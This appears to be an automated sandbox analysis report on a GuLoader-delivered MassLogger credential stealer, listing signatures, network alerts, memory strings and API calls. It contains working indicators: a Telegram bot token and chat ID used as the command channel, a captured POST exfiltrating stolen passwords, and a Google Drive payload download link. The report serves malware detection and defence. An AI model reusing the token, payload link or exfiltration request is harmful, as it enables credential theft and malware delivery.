Edit tour

Windows Analysis Report
4AMVusDMPP.exe

Overview

General Information

Sample name:	4AMVusDMPP.exe renamed because original name is a hash value
Original sample name:	815d6b508fab5d16a8190a479fb4b72a3916d9afe21393eeb506098cb1a93c3a.exe
Analysis ID:	1588355
MD5:	ed6f1c14e085e4fbc7c47f894f2140b9
SHA1:	1757c800b765345d51a261e11ebe1d89f05c4865
SHA256:	815d6b508fab5d16a8190a479fb4b72a3916d9afe21393eeb506098cb1a93c3a
Tags:	exeGuLoaderuser-adrian__luca
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

4AMVusDMPP.exe (PID: 2740 cmdline: "C:\Users\user\Desktop\4AMVusDMPP.exe" MD5: ED6F1C14E085E4FBC7C47F894F2140B9)

4AMVusDMPP.exe (PID: 6976 cmdline: "C:\Users\user\Desktop\4AMVusDMPP.exe" MD5: ED6F1C14E085E4FBC7C47F894F2140B9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI", "Telegram Chatid": "6897585916"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1750077512.0000000003441000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: 4AMVusDMPP.exe PID: 6976	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: 4AMVusDMPP.exe PID: 6976	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 4AMVusDMPP.exe PID: 6976	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 2 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:23:10.402399+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49710	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:23:01.587651+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49708	132.226.247.73	80	TCP
2025-01-11T01:23:09.493922+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49708	132.226.247.73	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:22:56.569418+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49706	142.250.186.78	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:23:10.131639+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49710	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31ac374b9c14Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: 4AMVusDMPP.exe, 00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: 4AMVusDMPP.exe, 00000003.00000002.3358117712.000000003369F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: 4AMVusDMPP.exe, 00000003.00000002.3358117712.0000000033694000.00000004.00000800.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000002.3358117712.000000003369F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: 4AMVusDMPP.exe, 00000003.00000002.3335320934.00000000030A6000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000002.3358117712.0000000033621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: 4AMVusDMPP.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: 4AMVusDMPP.exe, 00000003.00000002.3358117712.00000000336C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: 4AMVusDMPP.exe, 00000003.00000002.3358117712.0000000033621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 4AMVusDMPP.exe, 00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: 4AMVusDMPP.exe, 00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: 4AMVusDMPP.exe, 00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7234679344:AAGl5nGx0Ytu5pL8H_Rv2nR7Ahy85jEjxEI/sendDocument?chat_id=6897
Source: 4AMVusDMPP.exe, 00000003.00000003.1860487968.00000000030F0000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000003.1860381715.00000000030F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: 4AMVusDMPP.exe, 00000003.00000002.3335320934.000000000308D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: 4AMVusDMPP.exe, 00000003.00000002.3335320934.00000000030A6000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000002.3335872383.0000000004C30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1ic2kfQO2-jYHWvGlUEX35mQZA7m09xr7
Source: 4AMVusDMPP.exe, 00000003.00000002.3335320934.00000000030C6000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000003.1896210132.00000000030F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/9
Source: 4AMVusDMPP.exe, 00000003.00000002.3335320934.00000000030A6000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000003.1860487968.00000000030F0000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000003.1860381715.00000000030F0000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000002.3335320934.00000000030C6000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000003.1896210132.00000000030F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1ic2kfQO2-jYHWvGlUEX35mQZA7m09xr7&export=download
Source: 4AMVusDMPP.exe, 00000003.00000003.1896210132.00000000030F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1ic2kfQO2-jYHWvGlUEX35mQZA7m09xr7&export=downloadce
Source: 4AMVusDMPP.exe, 00000003.00000002.3335320934.00000000030C6000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000003.1896210132.00000000030F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/p
Source: 4AMVusDMPP.exe, 00000003.00000002.3358117712.000000003369F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: 4AMVusDMPP.exe, 00000003.00000002.3358117712.000000003369F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: 4AMVusDMPP.exe, 00000003.00000002.3358117712.000000003369F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: 4AMVusDMPP.exe, 00000003.00000003.1860487968.00000000030F0000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000003.1860381715.00000000030F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: 4AMVusDMPP.exe, 00000003.00000003.1860487968.00000000030F0000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000003.1860381715.00000000030F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: 4AMVusDMPP.exe, 00000003.00000003.1860487968.00000000030F0000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000003.1860381715.00000000030F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: 4AMVusDMPP.exe, 00000003.00000003.1860487968.00000000030F0000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000003.1860381715.00000000030F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: 4AMVusDMPP.exe, 00000003.00000003.1860487968.00000000030F0000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000003.1860381715.00000000030F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: 4AMVusDMPP.exe, 00000003.00000003.1860487968.00000000030F0000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000003.1860381715.00000000030F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: 4AMVusDMPP.exe, 00000003.00000003.1860487968.00000000030F0000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000003.1860381715.00000000030F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: 4AMVusDMPP.exe, 00000003.00000003.1860487968.00000000030F0000.00000004.00000020.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000003.1860381715.00000000030F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706

Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.129:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49710 version: TLS 1.2

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

Code function: 0_2_0040558F GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040558F

Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004034A5
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		3_2_004034A5

Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 0_2_00404DCC	0_2_00404DCC
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 0_2_00406AF2	0_2_00406AF2
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 0_2_6E881B5F	0_2_6E881B5F
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_00404DCC	3_2_00404DCC
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_00406AF2	3_2_00406AF2
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_00154328	3_2_00154328
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_00158DA0	3_2_00158DA0
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_00155968	3_2_00155968
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_00155F90	3_2_00155F90
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_00152DD1	3_2_00152DD1
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_35922D68	3_2_35922D68
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3592CCA0	3_2_3592CCA0
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3592C638	3_2_3592C638
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3592F650	3_2_3592F650
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_35922130	3_2_35922130
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_35927848	3_2_35927848
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_359203AF	3_2_359203AF
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3592331A	3_2_3592331A
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3592BD88	3_2_3592BD88
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3592CC91	3_2_3592CC91
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3592B4EC	3_2_3592B4EC
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3592E79F	3_2_3592E79F
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_35926E91	3_2_35926E91
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_35927EBA	3_2_35927EBA
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_35926EA0	3_2_35926EA0
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_35927EF6	3_2_35927EF6
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3592DEE1	3_2_3592DEE1
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3592C1F2	3_2_3592C1F2
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3592B944	3_2_3592B944
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3592F041	3_2_3592F041
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3592B07F	3_2_3592B07F
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3592EBF7	3_2_3592EBF7
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3592E339	3_2_3592E339
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3592DA89	3_2_3592DA89
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36488650	3_2_36488650
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_364896C8	3_2_364896C8
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36489D10	3_2_36489D10
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3648BDF0	3_2_3648BDF0
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3648A360	3_2_3648A360
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3648A9B0	3_2_3648A9B0
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36488640	3_2_36488640
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36485650	3_2_36485650
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36485660	3_2_36485660
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36482E10	3_2_36482E10
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_364836C0	3_2_364836C0
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_364896B8	3_2_364896B8
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_364836B0	3_2_364836B0
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36483F60	3_2_36483F60
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36483F70	3_2_36483F70
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36485F01	3_2_36485F01
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36485F10	3_2_36485F10
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_364867C0	3_2_364867C0
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3648AFE8	3_2_3648AFE8
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3648AFF8	3_2_3648AFF8
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3648AFF7	3_2_3648AFF7
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36480FA8	3_2_36480FA8
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_364867B0	3_2_364867B0
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36486C09	3_2_36486C09
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36481400	3_2_36481400
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36486C18	3_2_36486C18
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_364874C8	3_2_364874C8
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36481CA0	3_2_36481CA0
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_364874B8	3_2_364874B8
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36481CB0	3_2_36481CB0
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36482550	3_2_36482550
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36482560	3_2_36482560
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36489D00	3_2_36489D00
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36484DA0	3_2_36484DA0
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36484DB0	3_2_36484DB0
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36483268	3_2_36483268
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36485208	3_2_36485208
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36485207	3_2_36485207
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3648BA97	3_2_3648BA97
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36485AA8	3_2_36485AA8
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36485AB8	3_2_36485AB8
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36487B4F	3_2_36487B4F
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36486358	3_2_36486358
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3648A353	3_2_3648A353
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36486368	3_2_36486368
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36483B08	3_2_36483B08
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36483B18	3_2_36483B18
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_364843C8	3_2_364843C8
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_364843B9	3_2_364843B9
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36480040	3_2_36480040
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36481858	3_2_36481858
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36487061	3_2_36487061
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36487070	3_2_36487070
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36484810	3_2_36484810
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36484820	3_2_36484820
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_36482108	3_2_36482108
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3648F120	3_2_3648F120
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3648F130	3_2_3648F130
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_364829A8	3_2_364829A8
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_3648A9A0	3_2_3648A9A0
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_364829B8	3_2_364829B8
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_367ED608	3_2_367ED608
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_367E8328	3_2_367E8328

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

Code function: String function: 00402C41 appears 51 times

Source: 4AMVusDMPP.exe, 00000000.00000000.1460871293.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs 4AMVusDMPP.exe
Source: 4AMVusDMPP.exe, 00000003.00000002.3357496247.00000000334E7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs 4AMVusDMPP.exe
Source: 4AMVusDMPP.exe, 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs 4AMVusDMPP.exe
Source: 4AMVusDMPP.exe	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs 4AMVusDMPP.exe

Source: 4AMVusDMPP.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@5/5

Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004034A5
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		3_2_004034A5

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

Code function: 0_2_00404850 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404850

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

Code function: 0_2_00402104 CoCreateInstance,

0_2_00402104

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

File created: C:\Users\user\AppData\Local\Iw

Jump to behavior

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

File created: C:\Users\user\AppData\Local\Temp\nslDEEF.tmp

Jump to behavior

